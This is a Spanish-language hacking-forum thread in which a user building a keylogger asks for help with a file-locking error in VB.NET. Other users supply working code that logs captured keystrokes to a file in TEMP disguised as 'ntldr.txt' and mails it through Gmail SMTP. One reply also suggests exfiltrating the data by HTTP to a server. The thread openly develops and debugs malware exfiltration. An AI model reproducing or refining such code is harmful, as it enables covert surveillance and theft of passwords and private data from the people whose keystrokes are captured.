elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  [Ayuda]Problema con streamwriter
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ayuda]Problema con streamwriter  (Leído 6,737 veces)
.:Weeds:.

Desconectado Desconectado

Mensajes: 122



Ver Perfil
[Ayuda]Problema con streamwriter
« en: 31 Diciembre 2010, 16:53 pm »

Bueno estoy haciendo un keylogger, ya me lee las pulsaciones y los nombres de las ventanas, y lo que hago es que lo mande a un correo gmail, un archivo situado en TEMP que es donde se guarda todo, el problema es que no me deja guardarlo más de una vez.
Código
  1. MyEscritor = New StreamWriter(Environ("TEMP") & "\ntldr.txt")
  2. MyEscritor.Write(TextBox1.Text)
  3. MyEscritor.Flush()
  4. MyEscritor.Close()
  5. MyEscritor = Nothing

Me tira este error al intentar guardarlo por segunda vez.
Código:
IO Exception
El proceso no puede obtener acceso al archivo 'C:\Users\Weeds\AppData\Local\Temp\ntldr.txt' porque está siendo utilizado en otro proceso.

Que puedo hacer ahi? Saludos y Feliz NaviAño Nuevo!!  :laugh:


En línea


[D4N93R]
Wiki

Desconectado Desconectado

Mensajes: 1.646


My software never has bugs. Its just features!


Ver Perfil WWW
Re: [Ayuda]Problema con streamwriter
« Respuesta #1 en: 31 Diciembre 2010, 19:24 pm »

Primero que todo, Crea un FileStream, se da mejor para eso. Y segundo, mete todo en un try y en el finally haces el Close.

Saludos!


En línea

raul338


Desconectado Desconectado

Mensajes: 2.633


La sonrisa es la mejor forma de afrontar las cosas


Ver Perfil WWW
Re: [Ayuda]Problema con streamwriter
« Respuesta #2 en: 31 Diciembre 2010, 21:08 pm »

en lugar de instanciar un StreamWriter usa File.CreateText :)
En línea

.:Weeds:.

Desconectado Desconectado

Mensajes: 122



Ver Perfil
Re: [Ayuda]Problema con streamwriter
« Respuesta #3 en: 1 Enero 2011, 19:51 pm »

El problema creo que está en que lo envio por email y se queda en uso el fichero de texto.
Código
  1. MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Pero al hacer esto tampoco me permite usarlo
Código
  1. MyMailMessage = nothing

 :huh: :huh: :huh:
Saludos y feliz año!
En línea


.::IT::.

Desconectado Desconectado

Mensajes: 167



Ver Perfil
Re: [Ayuda]Problema con streamwriter
« Respuesta #4 en: 1 Enero 2011, 20:02 pm »

Hombre subir tu codigo para probarlo haber si te echo una mano!!!!!!
En línea

Simplemente .::IT::.
.:Weeds:.

Desconectado Desconectado

Mensajes: 122



Ver Perfil
Re: [Ayuda]Problema con streamwriter
« Respuesta #5 en: 1 Enero 2011, 20:47 pm »

Es algo sencillo pero que no quire funcionar xD
Código
  1. Try
  2. 'Crear archivo
  3. Dim sw As StreamWriter = File.CreateText(Environ("TEMP") & "\ntldr.txt")
  4. sw.WriteLine(TextBox1.Text)
  5. sw.Flush()
  6. sw.Close()
  7. 'Email
  8. Dim MyMailMessage As New MailMessage()
  9. MyMailMessage.From = New MailAddress("lala@gmail.com")
  10. MyMailMessage.To.Add("lala@gmail.com")
  11. MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
  12. MyMailMessage.Body = "Abre el archivo adjunto."
  13. MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
  14. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  15. SMTPServer.Port = 587
  16. SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
  17. SMTPServer.EnableSsl = True
  18. SMTPServer.Send(MyMailMessage)
  19. MyMailMessage = Nothing
  20. SMTPServer = Nothing
  21. Catch ex As SmtpException
  22. End Try
  23.  

A la segunda vez que lo intento guardar me salta la excepción.
En línea


.::IT::.

Desconectado Desconectado

Mensajes: 167



Ver Perfil
Re: [Ayuda]Problema con streamwriter
« Respuesta #6 en: 4 Enero 2011, 23:17 pm »

prueba con lo siguiente(lo puse en un Button):

Código
  1. Dim sw As StreamWriter
  2. Dim RutaFile As String = Environ("TEMP") & "\ntldr.txt"
  3. Dim MyMailMessage As MailMessage = New MailMessage()
  4. Dim SMTPServer As SmtpClient
  5.  
  6. Try
  7.     'esta linea permite insertar texto en un archivo, si no existe lo crea
  8.     sw = File.AppendText(RutaFile)
  9.  
  10.     'agregar linea del texbox y cerrar el StreamWriter
  11.     sw.WriteLine(Me.TextBox1.Text)
  12.     sw.Close()
  13.  
  14.     'Email
  15.     MyMailMessage.From = New MailAddress("lala@gmail.com")
  16.     MyMailMessage.To.Add("lala@gmail.com")
  17.     MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
  18.     MyMailMessage.Body = "Abre el archivo adjunto."
  19.     MyMailMessage.Attachments.Add(New Attachment(RutaFile))
  20.     SMTPServer = New SmtpClient("smtp.gmail.com")
  21.     SMTPServer.Port = 587
  22.     SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
  23.     SMTPServer.EnableSsl = True
  24.     SMTPServer.Send(MyMailMessage)
  25.  
  26.     MessageBox.Show("Ok")
  27.     Me.TextBox1.Text = ""
  28. Catch ex As SmtpException
  29.     MessageBox.Show(ex.Message, "SmptError", MessageBoxButtons.OK, MessageBoxIcon.Error)
  30. Catch ex As Exception
  31.     MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
  32. Finally
  33.      'aqui esta lo que faltaba
  34.      MyMailMessage.Attachments.Dispose()
  35. End Try
  36.  

Como podras darte cuenta faltaba liberar los recursos adjuntos con

Código
  1. MyMailMessage.Attachments.Dispose()

Nota: Tio yo que tu enviaria la info de ese archivo por http  a un servidor es mas rapido, osea usar formulairos html en un server para poder enviar los datos del usando HttpWebRequest
Saludos!!!.
« Última modificación: 8 Enero 2011, 03:41 am por .::IT::. » En línea

Simplemente .::IT::.
.:Weeds:.

Desconectado Desconectado

Mensajes: 122



Ver Perfil
Re: [Ayuda]Problema con streamwriter
« Respuesta #7 en: 7 Enero 2011, 23:02 pm »

Gracias como siempre .:IT:., tus codes me salvan la vida xD
Por cierto como que por http? Podrias explicarme eso?

Saludos.
En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
problema con clase streamwriter
.NET (C#, VB.NET, ASP)
Free-Knowledgend 5 5,380 Último mensaje 14 Julio 2006, 01:46 am
por MaLkAvIaN_NeT
Ayuda con un problema...
Java
Zero_1 5 4,424 Último mensaje 30 Noviembre 2007, 13:39 pm
por Zero_1
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines